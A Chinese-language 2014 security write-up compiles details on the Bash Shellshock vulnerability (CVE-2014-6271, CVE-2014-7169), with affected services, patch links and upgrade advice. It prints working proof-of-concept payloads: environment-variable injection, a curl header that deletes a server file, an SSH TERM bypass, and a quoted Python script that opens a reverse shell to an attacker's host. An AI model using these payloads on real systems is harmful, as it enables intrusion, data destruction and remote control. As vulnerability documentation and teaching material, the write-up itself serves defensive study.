Linux:Bash Shellshock事件:CVE-2014-6271资料汇总

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Linux:Bash Shellshock事件:CVE-2014-6271资料汇总

Linux:Bash Shellshock事件:CVE-2014-6271资料汇总

[sth0r@shawn-fortress]$ uname -a
Linux shawn-fortress 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux

|=-----------------------------------------------------------------=|
|=-----=[ D O N O T F U C K W I T H A H A C K E R ]=-----=|
|=-----------------------------------------------------------------=|
|=------------------------[ #4 File 0x07 ]-------------------------=|
|=-----------------------------------------------------------------=|
|=-------------------=[ Bash Shellshock事件: ]=--------------------=| 
|=-------------------=[ CVE-2014-6271资料汇总]=--------------------=|
|=-----------------------------------------------------------------=|
|=---------------------=[ By Shawn the R0ck ]=---------------------=|
|=-----------------------------------------------------------------=|
|=-----------------------=[ Sep 25 2014 ]=------------------------=|
|=-----------------------------------------------------------------=| 

–[ Content

0. What is BASH

1. CVE-2014-6271

2. Incomplete patch

3. Mitigation

4. Story to be continued…

5. References

 

–[ 0. 什么是BASH

Bourne Again Shell(简称BASH)是在GNU/Linux上最流行的SHELL实现,于1980年诞生,经过了几十年的进化从一个简单的终端命令行解释器演变成了和GNU系统深度整合的多功能接口。

–[ 1. CVE-2014-6271

法国GNU/Linux爱好者Stéphane Chazelas于2014年9月中旬发现了著名SHELL实现BASH的一个漏洞,你可以通过构造环境变量的值来执行你想要执行的脚本代码,据报道称,这个漏洞能影响众多的运行在GNU/Linux上的会跟BASH交互的应用程序,包括:

  • 在sshd配置中使用了ForceCommand用以限制远程用户执行命令,这个漏洞可以绕过限制去执行任何命令。一些Git和Subversion部署环境的限制Shell也会出现类似情况,OpenSSH通常用法没有问题。
  • Apache服务器使用mod_cgi或者mod_cgid,如果CGI脚本在BASH或者运行在子SHELL里都会受影响。子Shell中使用C的system/popen,Python中使用 os.system/os.popen,PHP中使用system/exec(CGI模式)和Perl中使用,open/system的情况都会受此漏洞影响。
  • PHP脚本执行在mod_php不会受影响。
  • DHCP客户端调用shell脚本接收远程恶意服务器的环境变量参数值的情况会被此漏洞利用。
  • 守护进程和SUID程序在环境变量设置的环境下执行SHELL脚本也可能受到影响。
  • 任何其他程序执行SHELL脚本时用BASH作为解释器都可能受影响。Shell脚本不导出的情况下不会受影响。

我们先来看一个简单的POC:

1,本地SHELL环境中测试是否有漏洞:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

如果存在漏洞会打印”vulnerable”。

2,C程序:

/* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */
#include 
#include 

int main()
{
char *envp[] = {
"PATH=/bin:/usr/bin",
"/usr/bin/id=() { "
"echo pwn me twice, shame on me; }; "
"echo pwn me once, shame on you",
NULL
};
char *argv[] = { "/bin/bash", NULL };

execve(argv[0], argv, envp);
perror("execve");
return 1;
}

je@tiny:~$ gcc -o bash-is-fun bash-is-fun.c
je@tiny:~$ ./bash-is-fun
pwn me once, shame on you
je@tiny:/home/je$ /usr/bin/id
pwn me twice, shame on me

这个POC中可以看出BASH根本就没有去处理结尾,后面我们可以通过补丁来看为什么。

3,INVISIBLETHREAT上对于HTTP环境的测试:

创建一个脚本叫poc.cgi:

#!/bin/bash

echo "Content-type: text/html"
echo ""

echo ''
echo ''
echo ''
echo ''
echo ''
echo ''
echo '
'
/usr/bin/env
echo '

'
echo ''
echo ''

exit 0

把脚本放入测试机后,输入:

$ curl http://192.168.0.1/poc.cgi







SERVER_SIGNATURE=
Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80
HTTP_USER_AGENT=curl/7.26.0 SERVER_PORT=80 HTTP_HOST=192.168.0.1 DOCUMENT_ROOT=/var/www SCRIPT_FILENAME=/var/www/poc.cgi REQUEST_URI=/poc.cgi SCRIPT_NAME=/poc.cgi REMOTE_PORT=40974 PATH=/usr/local/bin:/usr/bin:/bin PWD=/var/www SERVER_ADMIN=webmaster@localhost HTTP_ACCEPT=*/* REMOTE_ADDR=192.168.0.1 SHLVL=1 SERVER_NAME=192.168.0.1 SERVER_SOFTWARE=Apache/2.2.22 (Debian) QUERY_STRING= SERVER_ADDR=192.168.0.1 GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.1 REQUEST_METHOD=GET _=/usr/bin/env


再来试试使用curl设置一个user-agent玩玩:

$ curl -A "() { :; }; /bin/rm /var/www/target" http://192.168.0.1/poc.cgi





Internal Server Error

The server encountered an internal error or misconfiguration and was unable to complete your request.

Please contact the server administrator, webmaster@localhost and inform them of the time the error occurred, and anything you might have done that may have caused the error.

More information about this error may be available in the server error log.


Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80

上面已经把/var/www/target给删除了,再来看看:

$ curl http://192.168.0.1/target





Not Found

The requested URL /target was not found on this server.


Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80

4, 针对OpenSSH的POC

目前有2个攻击平面,Solar Designer给出了 SSH_ORIGINAL_COMMAND的本地利用方法:http://seclists.org/oss-sec/2014/q3/651

还有就是针对远程利用的POC,通过利用TERM:

在机器A上生成一对RSA key pair:

shawn@debian-test32:~/.ssh$ ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/home/shawn/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/shawn/.ssh/id_rsa.
Your public key has been saved in /home/shawn/.ssh/id_rsa.pub.
The key fingerprint is:
09:1c:92:fb:c5:68:f8:e1:b9:c2:62:a8:c7:75:5b:dc shawn@debian-test32
The key's randomart image is:
+--[ RSA 2048]----+
| ... |
| .o . |
| ooo |
| o +.o. |
| = =S. |
| . * o E |
| o o . + |
|. = o o |
|oo . . |
+-----------------+

把A的公钥拷贝到机器B上:

$cat /home/shawn/.ssh/authorized_keys
command="/tmp/ssh.sh" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9xYHEdjbbvSO+RAtDS3u+R4sD87SUQq5OZJ+6P5n3BoOz8eKfmK2B4qQa28uGvpseFSSXIoXTKdeS3mCXevbibGG6E3RQ63U7USrh9iQupO6c45Qt+3/WOo7X3mRlZ1awUmCjurcA5Zm/yOvyMJCoRd1kpkiJljgHtMztEhWvAE4inFkqyWC81SSfsvNd/GEiyCpFw84UTdF/cH626V3V73hlxwBMd8UKI27I7ATMOcPgWsI5738tLpgPDSisvZZXZNlxAfvSgpxKYAHOQ9VsaJCG4q+Giob5iX4IDzn8gs8G7uGW+EGhzTMq83f/8ar5a5Ex8Dg9M/loYPIPp5gJ shawn@debian-test32

一个用于控制command/SSH_ORIGINAL_COMMAND的脚本

shawn@linux-ionf:~/.ssh> cat /tmp/ssh.sh
#!/bin/sh

case "$SSH_ORIGINAL_COMMAND" in
"ps")
ps -ef
;;
"vmstat")
vmstat 1 100
;;
"cups stop")
/etc/init.d/cupsys stop
;;
"cups start")
/etc/init.d/cupsys start
;;
*)
echo "Sorry. Only these commands are available to you:"
echo "ps, vmstat, cupsys stop, cupsys start"
#exit 1
;;
esac

机器A上可以正常的使用限制脚本:

shawn@debian-test32:~/.ssh$ export SSH_ORIGINAL_COMMAND="ps"
shawn@debian-test32:~/.ssh$ ssh shawn@192.168.115.129 $SSH_ORIGINAL_COMMAND
Enter passphrase for key '/home/shawn/.ssh/id_rsa': 
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 16:47 ? 00:00:02 /sbin/init showopts
root 2 0 0 16:47 ? 00:00:00 [kthreadd]
root 3 2 0 16:47 ? 00:00:00 [ksoftirqd/0]

借助TERM来利用:

shawn@debian-test32:~$ export TERM='() { :;}; id'; ssh shawn@192.168.115.129
Enter passphrase for key '/home/shawn/.ssh/id_rsa': 
uid=1000(shawn) gid=100(users) groups=100(users)
Connection to 192.168.115.129 closed.

5,DHCP:

https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/ 

–[ 2. 补丁情况

从最早GNU/Linux发行版社区收到的补丁: https://bugzilla.novell.com/attachment.cgi?id=606672 

可以看出BASH的确没有做异常处理,而直接解析后就执行了。

正式的社区补丁在这里:

http://ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017 http://ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018 http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 http://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039 http://ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012 http://ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048 http://ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025 

但由于补丁修复的不完整,导致了CVE-2014-7169的爆出,POC如下:

shawn@shawn-fortress /tmp $ date -u > test_file
shawn@shawn-fortress /tmp $ env X='() { (a)=<' bash -c 'test_file cat'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
Thu Sep 25 09:37:04 UTC 2014

这个POC可以让攻击者能读文件,看来后续的故事还没结束................... (Sep 25 13:30 UTC 2014)

UTC时间2014年9月25日上午,CVE-2014-7169被BASH社区修复,目前主要的GNU/Linux发行版包括Debian, Gentoo, OpenSUSE, CentOS, RHEL都已经提供了相关的升级。

2014年9月26日,BASH又爆出了CVE-2014-7186和CVE-2014-7187:http://www.openwall.com/lists/oss-security/2014/09/26/2 

--[ 3. 防御方案

在各种GNU/Linux发行版里需要升级:

Debian-based(包括Ubuntu):

sudo apt-get update && apt-get upgrade

Gentoo:

sudo emerge --sync && glsa-check -f affected

OpenSSH:

加入no-pty

--[ 4. 后续故事

这个漏洞引起的故事并没有因为补丁而结束,因为这个星球上有太多人不会那么care这个漏洞,也就是说他们不会即时的去打补丁,而从攻击者的一方而言,从漏洞公开已经出现了很多类似:

#
#CVE-2014-6271 cgi-bin reverse shell
#

import httplib,urllib,sys

if (len(sys.argv)<4):
print "Usage: %s   " % sys.argv[0]
print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
exit(0)

conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = {"Content-type": "application/x-www-form-urlencoded",
"test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data

的工具,Shellshock比heartbleed更容易自动化的去攻击目标,漏洞本身的特性带来了最糟糕的情况就是蠕虫的产生,这种担心已经得到了证实: https://gist.github.com/anonymous/929d622f3b36b00c0be1 

虽然目前的样本不是蠕虫,但很明显,僵尸网络的狂欢已经开始,从目前样本的情况看,这是一个有C&C功能的botnet,"她"会先寻找busybox的目标,然后尝试入侵目标机,之后尝试提权,这个恶意软件主要目的是利用肉鸡来DDOS,攻击者的下一个目标将会是WEB。一直以来致力于对抗恶意软件的社区#MalwareMustDie也出了相关的详细分析:http://blog.malwaremustdie.org/2014/09/linux-elf-bash-0day-fun-has-only-just.html 

通常来讲,一个漏洞曝光到自动化利用会在24小时内完成,所以各位抓紧时间打补丁。

--[ 5. References

[1] BASH

http://www.gnu.org/software/bash/ 

[2] Bash specially-crafted environment variables code injection attack

https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/ 

[3] CVE-2014-6271

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271 

[4] CVE-2014-7169

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169 

[5] CVE-2014-6271: remote code execution through bash

http://seclists.org/oss-sec/2014/q3/651 

[6] SSH, The Secure Shell: The Definitive Guide

http://oreilly.com/catalog/sshtdg/chapter/ch08.html 

[7] CVE-2014-6271 cgi-bin reverse shell

http://pastebin.com/166f8Rjx 

来源:https://raw.githubusercontent.com/citypw/DNFWAH/master/4/d4_0x07_DNFWAH_shellshock_bash_story_cve-2014-6271.txt

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